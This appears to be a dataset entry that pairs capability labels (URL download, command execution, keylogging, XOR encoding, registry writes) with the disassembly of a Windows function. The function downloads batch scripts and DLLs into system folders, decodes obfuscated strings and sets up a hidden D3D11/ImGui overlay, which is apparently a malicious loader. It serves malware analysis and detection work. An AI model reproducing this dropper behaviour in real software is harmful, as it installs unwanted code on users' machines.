Function at 0x140057fa0
Capabilities:
Check if file exists
Create directory
Create thread
Download url
Encode data using xor
Execute command
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x1490]
mov eax, 0x1590
call fcn.1401336b0
sub rsp, rax
mov eax, dword [0x1401725f0]
lea r8, [rbp + 0xcb8]
movups xmm0, xmmword [str.OPCION_ACTIVADA_AUDIO_VOZ.wav]
mov dword [rbp + 0xc50], eax
xor r13d, r13d
movzx eax, word [0x1401725f4]
lea rdx, [rbp + 0xc38]
movups xmm1, xmmword [0x140172608]
mov word [rbp + 0xc54], ax
xor r9d, r9d
mov eax, dword [0x140172618]
xor ecx, ecx
movups xmmword [rbp + 0xc38], xmm0
mov dword [rbp + 0xcd8], eax
movsd xmm0, qword [0x1401725e8]
movzx eax, word [0x14017261c]
movsd qword [rbp + 0xc48], xmm0
movups xmm0, xmmword [str.C:WindowsOPCION_ACTIVADA_AUDIO_VOZ.wav]
mov word [rbp + 0xcdc], ax
movzx eax, byte [0x14017261e]
movaps xmmword [rsp + 0x1580], xmm6
movups xmmword [rbp + 0xcb8], xmm0
movaps xmmword [rsp + 0x1570], xmm7
mov byte [rbp + 0xcde], al
movups xmmword [rbp + 0xcc8], xmm1
mov qword [rsp + 0x20], r13
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.resume_internet.bat]
mov eax, dword [0x140172630]
lea r8, [rbp + 0xdd0]
movups xmm1, xmmword [0x140172648]
mov dword [rbp + 0xcf0], eax
xor r9d, r9d
movzx eax, byte [0x140172658]
lea rdx, [rbp + 0xce0]
movups xmmword [rbp + 0xce0], xmm0
xor ecx, ecx
mov byte [rbp + 0xdf0], al
movups xmm0, xmmword [str.C:WindowsTemp_resume_internet.bat]
mov qword [rsp + 0x20], r13
movups xmmword [rbp + 0xde0], xmm1
movups xmmword [rbp + 0xdd0], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.block_internet.bat]
movzx eax, word [0x140172670]
lea r8, [rbp + 0x1068]
movups xmm1, xmmword [0x140172688]
mov word [rbp + 0xa18], ax
xor r9d, r9d
movzx eax, byte [0x140172672]
lea rdx, [rbp + 0xa08]
movups xmmword [rbp + 0xa08], xmm0
xor ecx, ecx
mov byte [rbp + 0xa1a], al
movups xmm0, xmmword [str.C:WindowsTemp_block_internet.bat]
mov qword [rsp + 0x20], r13
movups xmmword [rbp + 0x1078], xmm1
movups xmmword [rbp + 0x1068], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rbp + 0x1320]
lea rcx, [rcx + 0x80]
lea rbx, [0x140000000]
movups xmm0, xmmword [rbx + 0x1726a0]
lea rax, [rbx + 0x1726a0]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx - 0x20], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm0
movups xmmword [rcx], xmm1
movups xmm0, xmmword [rax + 0x90]
xor r9d, r9d
lea r8, [rbp + 0x1040]
movups xmm1, xmmword [rax + 0xa0]
lea rdx, [rbp + 0x1320]
mov qword [rsp + 0x20], r13
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0xb0]
mov eax, dword [rax + 0xc0]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [0x140172778]
movups xmmword [rcx + 0x30], xmm0
mov dword [rcx + 0x40], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempD3D11_Overlay_ImGui.dll]
movups xmmword [rbp + 0x1050], xmm1
movups xmmword [rbp + 0x1040], xmm0
movsd xmm0, qword [0x140172788]
movsd qword [rbp + 0x1060], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x172790]
lea rcx, [rbx + 0x172790]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x11a0]
movups xmmword [rdx], xmm0
lea r8, [rbp + 0xc58]
mov qword [rsp + 0x20], r13
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemphk4x.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x11a0]
movzx eax, byte [0x140172860]
movups xmmword [rbp + 0xc58], xmm0
mov byte [rbp + 0xc70], al
movsd xmm0, qword [0x140172858]
movsd qword [rbp + 0xc68], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x172870]
lea rcx, [rbx + 0x172870]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1260]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
mov eax, dword [rcx + 0xb0]
lea r8, [rbp + 0xc78]
movups xmm1, xmmword [rcx + 0x90]
xor r9d, r9d
mov qword [rsp + 0x20], r13
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp_boxZ.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x1260]
movzx eax, byte [0x140172940]
movups xmmword [rbp + 0xc78], xmm0
mov byte [rbp + 0xc90], al
movsd xmm0, qword [0x140172938]
movsd qword [rbp + 0xc88], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movsd xmm0, qword [str.blanca.dll]
lea r8, [rbp + 0x1088]
movzx eax, word [0x140172950]
lea rdx, [rbp + 0x4c8]
movups xmm1, xmmword [0x140172968]
xor r9d, r9d
mov word [rbp + 0x4d0], ax
movsd qword [rbp + 0x4c8], xmm0
xor ecx, ecx
movups xmm0, xmmword [str.C:Program_FilesGoogle_blanca.dll]
movzx eax, byte [0x140172952]
mov byte [rbp + 0x4d2], al
movups xmmword [rbp + 0x1088], xmm0
mov qword [rsp + 0x20], r13
movups xmmword [rbp + 0x1098], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea r8, [0x140051ab0]
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x8d8]
lea edx, [r13 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140058678
mov rcx, qword [rbp + 0x8d8]
lea rax, [rbp + 0x1e4]
lea r9d, [r13 + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x98]
mov dword [rbp + 0x98], r13d
lea edx, [r13 + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140058678
cmp dword [rbp + 0x98], r13d
setne al
test al, al
je 0x140058678
movups xmm0, xmmword [0x140173730]
movzx eax, byte [0x140173740]
mov r8d, r13d
mov r15d, dword [reloc.WS2_32.dll_accept]
mov byte [rbp + 0x6fc], al
movups xmmword [rbp + 0x6ec], xmm0
cmp r15d, 2
jl 0x14005861f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x6f0]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140058510
cmp r8d, 0x11
jge 0x140058664
movsxd rax, r8d
lea r9, [rbp + 0x6ec]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140058630
xor edx, edx
lea rcx, [rbp + 0x6ec]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x140058869
movups xmm0, xmmword [0x140173c08]
mov eax, dword [0x140173c20]
mov r8d, r13d
mov r15d, dword [reloc.WS2_32.dll_accept]
mov dword [rbp + 0x356], eax
movzx eax, byte [0x140173c24]
mov byte [rbp + 0x35a], al
movups xmmword [rbp + 0x33e], xmm0
movsd xmm0, qword [0x140173c18]
movsd qword [rbp + 0x34e], xmm0
cmp r15d, 2
jl 0x14005880f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x342]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140058700
cmp r8d, 0x1d
jge 0x140058854
movsxd rax, r8d
lea r9, [rbp + 0x33e]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140058820
xor r9d, r9d
lea rdx, [rbp + 0x33e]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [rsp + 0x28], r13
lea r8, [0x1400646e0]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea r8, [0x140064db0]
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea r8, [0x140051d80]
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [0x1400644a0]
mov dword [rbp + 0x950], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x958], rax
xor ecx, ecx
mov dword [rbp + 0x954], 0x40
mov qword [rbp + 0x960], r13
mov qword [rbp + 0x968], r13
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x970], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
cmp word [0x140173706], r13w
movups xmm3, xmmword [str.j_W]
mov qword [rbp + 0x978], rax
movsd xmm0, qword [0x140173700]
movups xmmword [rbp + 0x514], xmm3
mov qword [rbp + 0x980], r13
movsd qword [rbp + 0x524], xmm0
je 0x140058a98
mov r8d, r13d
cmp r15d, 2
jl 0x140058a4b
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x140174310]
paddw xmm2, xmmword [0x140174360]
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rbp + 0x514], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x51c]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x140174360]
xorps xmm2, xmm0
movq qword [rbp + 0x51c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x514]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x38
xor word [r9 - 2], ax
cmp r8d, 0xc
jl 0x140058a60
movsd xmm0, qword [str.kTK_T_]
lea rax, [rbp + 0x514]
mov qword [rbp + 0x988], rax
mov ecx, 0x53
mov eax, dword [0x140173f20]
mov edx, 0x7f00
mov dword [rbp - 0x10], eax
movzx eax, word [0x140173f24]
xor word [rbp - 0x10], 0x3c
xor ax, 0x3e
xor word [rbp - 0xe], 0x3d
movsd qword [rbp - 0x18], xmm0
xor word [rbp - 0x16], 0x39
xor word [rbp - 0x14], 0x3a
xor word [rbp - 0x12], 0x3b
mov word [rbp - 0xc], ax
lea rax, [rbp - 0x18]
mov word [rbp - 0x18], cx
xor ecx, ecx
mov qword [rbp + 0x990], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x950]
mov qword [rbp + 0x998], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xfa]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movups xmm7, xmmword [str.j_W]
cdq
movsd xmm0, qword [0x140173700]
sub eax, edx
sar eax, 1
cmp word [0x140173706], r13w
movups xmmword [rbp + 0x716], xmm7
lea r10d, [rax - 0x16d]
movsd qword [rbp + 0x726], xmm0
je 0x140058cc8
mov r8d, r13d
cmp r15d, 2
jl 0x140058c78
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm1, xmm2
movdqa xmm6, xmmword [0x140174360]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm7
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x140174310]
xorps xmm3, xmm1
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movq qword [rbp + 0x716], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x71e]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp + 0x71e], xmm3
movsxd rax, r8d
lea r9, [rbp + 0x716]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x38
xor word [r9 - 2], ax
cmp r8d, 0xc
jl 0x140058c90
mov rdx, qword [rbp + 0x990]
lea r8, [rbp + 0x716]
mov qword [rsp + 0x58], r13
mov r9d, 0x80880000
mov qword [rsp + 0x50], r13
xor ecx, ecx
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x1f4
mov dword [rsp + 0x30], 0x2da
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r10d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x1401ba250], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x1401ba250]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x1401ba250]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140174260]
lea rdx, [rbp + 0xd40]
mov rcx, qword [0x1401ba250]
movdqu xmmword [rbp + 0xd40], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1401ba250]
lea rdx, [rbp + 0x5e8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x1401ba250]
lea rbx, [0x1401efdb8]
mov qword [rsp + 0x58], rbx
lea rdi, [0x1401efdb0]
mov qword [rbp + 0x920], rax
lea rsi, [0x1401efca8]
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x904], r13
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x8f0]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r14d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x1e8]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x918], 2
mov qword [rbp + 0x930], 2
mov qword [rbp + 0x8f0], r13
mov dword [rbp + 0x900], Ordinal_33
mov dword [rbp + 0x8f8], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x8fc], r14d
mov dword [rbp + 0x914], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x90c], r14
mov qword [rbp + 0x928], r14
mov dword [rbp + 0x1e8], 0xb000
mov dword [rbp + 0x1ec], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x140058eda
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x8f0]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x1e8]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140058eff
call fcn.140064420
mov rdx, qword [rbp + 0x968]
mov rcx, qword [rbp + 0x990]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x140064362
mov rcx, qword [0x1401efca8]
lea r9, [rbp + 0x438]
mov qword [rsp + 0x15c0], r12
lea r8, [0x1401739b0]
movaps xmmword [rsp + 0x1550], xmm9
xor edx, edx
movaps xmmword [rsp + 0x1540], xmm10
mov rax, qword [rcx]
movaps xmmword [rsp + 0x1530], xmm11
movaps xmmword [rsp + 0x1520], xmm12
movaps xmmword [rsp + 0x1510], xmm13
movaps xmmword [rsp + 0x1500], xmm14
movaps xmmword [rsp + 0x14f0], xmm15
call qword [rax + 0x48]
mov rcx, qword [0x1401efdb0]
lea r9, [0x1401dfa38]
mov rdx, qword [rbp + 0x438]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x438]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1401ba250]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401ba250]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1401ba210]
test rbx, rbx
je 0x140058fbf
inc dword [rbx + 0xf4]
mov rdx, qword [0x1401ba200]
mov ecx, 0x5e20
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x140058fe1
xor edx, edx
mov rcx, rax
call fcn.140001b00
jmp 0x140058fe4
mov rax, r13
mov qword [0x1401ba210], rax
call fcn.1400064d0
test rbx, rbx
je 0x140058ffe
mov qword [0x1401ba210], rbx
jmp 0x140059005
mov rbx, qword [0x1401ba210]
test rbx, rbx
jne 0x14005902b
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401ba210]
movss xmm14, dword [0x140174068]
xorps xmm1, xmm1
movups xmmword [rbp + 0x540], xmm1
xor eax, eax
mov dword [rbp + 0x548], 3
movups xmmword [rbp + 0x570], xmm1
mov qword [rbp + 0x5b0], rax
mov eax, 0xffff
movups xmmword [rbp + 0x580], xmm1
mov word [rbp + 0x584], ax
movups xmmword [rbp + 0x530], xmm1
mov byte [rbp + 0x53c], r14b
movups xmmword [rbp + 0x550], xmm1
xorps xmm3, xmm3
movups xmmword [rbp + 0x560], xmm3
xorps xmm4, xmm4
movups xmmword [rbp + 0x590], xmm4
xorps xmm5, xmm5
movups xmmword [rbp + 0x5a0], xmm5
mov dword [rbp + 0x54c], r14d
mov dword [rbp + 0x574], 0x7f7fffff
mov dword [rbp + 0x580], 0x3f800000
mov dword [rbp + 0x57c], 0x10c
mov rdi, qword [rbx + 0x58]
cmp byte [rdi + 0x18], r13b
je 0x140059103
mov r8d, 0xbbd
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm5, xmmword [rbp + 0x5a0]
movups xmm4, xmmword [rbp + 0x590]
movups xmm3, xmmword [rbp + 0x560]
movups xmm1, xmmword [rbp + 0x550]
movups xmm0, xmmword [rbp + 0x540]
movups xmm2, xmmword [rbp + 0x530]
movups xmmword [rbp + 0xea0], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x570]
movups xmmword [rbp + 0xed0], xmm0
movsd xmm0, qword [rbp + 0x5b0]
movups xmmword [rbp + 0xeb0], xmm1
movups xmm1, xmmword [rbp + 0x580]
movsd qword [rbp + 0xf10], xmm0
movups xmmword [rbp + 0xe90], xmm2
movups xmmword [rbp + 0xec0], xmm3
movups xmmword [rbp + 0xee0], xmm1
movups xmmword [rbp + 0xef0], xmm4
movups xmmword [rbp + 0xf00], xmm5
test rax, rax
je 0x14005918b
mov r8d, 0xbbf
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14018d130]
mov dword [rbp + 0xe98], 0x29e1c
lea rsi, [0x14016d940]
mov qword [rbp + 0xe90], rax
lea rdx, [rbp + 0xe90]
mov qword [rbp + 0xec8], rsi
mov rcx, rdi
mov dword [rbp + 0xea4], 0x41b80000
call fcn.140028610
